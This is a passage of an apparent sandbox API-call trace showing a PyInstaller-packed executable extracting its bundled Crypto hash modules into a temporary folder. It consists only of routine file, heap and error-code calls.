(hObject=0x10c) returned 1 [0034.533] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.534] htonl (hostlong=0x30000000) returned 0x30 [0034.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.534] GetFileType (hFile=0x10c) returned 0x1 [0034.534] htonl (hostlong=0x9d8d0200) returned 0x28d9d [0034.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x73d9d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.534] htonl (hostlong=0x191c0000) returned 0x1c19 [0034.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c19) returned 0x55d270 [0034.534] htonl (hostlong=0x191c0000) returned 0x1c19 [0034.534] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.535] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.535] htonl (hostlong=0x3a0000) returned 0x3a00 [0034.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3a00) returned 0x561090 [0034.535] htonl (hostlong=0x191c0000) returned 0x1c19 [0034.535] htonl (hostlong=0x3a0000) returned 0x3a00 [0034.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564a98 [0034.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564a98 | out: hHeap=0x530000) returned 1 [0034.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.535] CloseHandle (hObject=0x10c) returned 1 [0034.535] GetLastError () returned 0x0 [0034.535] SetLastError (dwErrCode=0x0) [0034.535] GetLastError () returned 0x0 [0034.535] SetLastError (dwErrCode=0x0) [0034.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.536] GetFileType (hFile=0x10c) returned 0x1 [0034.536] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.536] CloseHandle (hObject=0x10c) returned 1 [0034.536] GetLastError () returned 0x0 [0034.536] SetLastError (dwErrCode=0x0) [0034.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.536] GetFileType (hFile=0x10c) returned 0x1 [0034.536] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.537] CloseHandle (hObject=0x10c) returned 1 [0034.537] GetLastError () returned 0x0 [0034.537] SetLastError (dwErrCode=0x0) [0034.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA256.pyd") returned 69 [0034.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA256.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha256.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.537] GetLastError () returned 0x2 [0034.537] SetLastError (dwErrCode=0x2) [0034.537] GetLastError () returned 0x2 [0034.537] SetLastError (dwErrCode=0x2) [0034.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA256.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA256.pyd", lpFilePart=0x0) returned 0x44 [0034.537] GetLastError () returned 0x2 [0034.537] SetLastError (dwErrCode=0x2) [0034.537] GetLastError () returned 0x2 [0034.537] SetLastError (dwErrCode=0x2) [0034.537] GetLastError () returned 0x2 [0034.537] SetLastError (dwErrCode=0x2) [0034.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA256.pyd") returned 69 [0034.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA256.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha256.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.544] GetFileType (hFile=0x10c) returned 0x1 [0034.544] htonl (hostlong=0x3a0000) returned 0x3a00 [0034.544] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.545] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.545] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.545] CloseHandle (hObject=0x10c) returned 1 [0034.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.547] htonl (hostlong=0x30000000) returned 0x30 [0034.547] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.547] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.547] GetFileType (hFile=0x10c) returned 0x1 [0034.547] htonl (hostlong=0xb6a90200) returned 0x2a9b6 [0034.547] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x759b6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.547] htonl (hostlong=0x12c0000) returned 0x2c01 [0034.547] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2c01) returned 0x560088 [0034.548] htonl (hostlong=0x12c0000) returned 0x2c01 [0034.548] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0034.548] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.548] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.548] htonl (hostlong=0x860000) returned 0x8600 [0034.548] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8600) returned 0x562c98 [0034.548] htonl (hostlong=0x12c0000) returned 0x2c01 [0034.548] htonl (hostlong=0x860000) returned 0x8600 [0034.548] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56b2a0 [0034.549] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56b2a0 | out: hHeap=0x530000) returned 1 [0034.549] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.549] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.549] CloseHandle (hObject=0x10c) returned 1 [0034.549] GetLastError () returned 0x0 [0034.549] SetLastError (dwErrCode=0x0) [0034.549] GetLastError () returned 0x0 [0034.549] SetLastError (dwErrCode=0x0) [0034.549] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.549] GetFileType (hFile=0x10c) returned 0x1 [0034.549] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.549] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.549] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.549] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.549] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.549] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.549] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.549] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.549] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.549] CloseHandle (hObject=0x10c) returned 1 [0034.550] GetLastError () returned 0x0 [0034.550] SetLastError (dwErrCode=0x0) [0034.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.550] GetFileType (hFile=0x10c) returned 0x1 [0034.550] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.550] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.550] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.550] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.550] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.550] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.550] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.550] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.550] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.550] CloseHandle (hObject=0x10c) returned 1 [0034.550] GetLastError () returned 0x0 [0034.550] SetLastError (dwErrCode=0x0) [0034.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA384.pyd") returned 69 [0034.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA384.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha384.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.550] GetLastError () returned 0x2 [0034.550] SetLastError (dwErrCode=0x2) [0034.550] GetLastError () returned 0x2 [0034.550] SetLastError (dwErrCode=0x2) [0034.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA384.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA384.pyd", lpFilePart=0x0) returned 0x44 [0034.550] GetLastError () returned 0x2 [0034.550] SetLastError (dwErrCode=0x2) [0034.550] GetLastError () returned 0x2 [0034.551] SetLastError (dwErrCode=0x2) [0034.551] GetLastError () returned 0x2 [0034.551] SetLastError (dwErrCode=0x2) [0034.551] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA384.pyd") returned 69 [0034.551] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA384.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha384.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.551] GetFileType (hFile=0x10c) returned 0x1 [0034.551] htonl (hostlong=0x860000) returned 0x8600 [0034.551] WriteFile (in: hFile=0x10c, lpBuffer=0x562c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562c98*, lpNumberOfBytesWritten=0x4fcd00*=0x8000, lpOverlapped=0x0) returned 1 [0034.552] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.552] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x600, lpOverlapped=0x0) returned 1 [0034.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.553] CloseHandle (hObject=0x10c) returned 1 [0034.554] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c98 | out: hHeap=0x530000) returned 1 [0034.554] htonl (hostlong=0x30000000) returned 0x30 [0034.554] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.554] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.555] GetFileType (hFile=0x10c) returned 0x1 [0034.555] htonl (hostlong=0xb7d50200) returned 0x2d5b7 [0034.555] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x785b7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.555] htonl (hostlong=0xde2c0000) returned 0x2cde [0034.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2cde) returned 0x560088 [0034.555] htonl (hostlong=0xde2c0000) returned 0x2cde [0034.555] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0034.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.555] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.555] htonl (hostlong=0x860000) returned 0x8600 [0034.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8600) returned 0x562d70 [0034.556] htonl (hostlong=0xde2c0000) returned 0x2cde [0034.556] htonl (hostlong=0x860000) returned 0x8600 [0034.556] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56b378 [0034.556] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56b378 | out: hHeap=0x530000) returned 1 [0034.556] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.556] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.556] CloseHandle (hObject=0x10c) returned 1 [0034.556] GetLastError () returned 0x0 [0034.556] SetLastError (dwErrCode=0x0) [0034.557] GetLastError () returned 0x0 [0034.557] SetLastError (dwErrCode=0x0) [0034.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.557] GetFileType (hFile=0x10c) returned 0x1 [0034.557] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 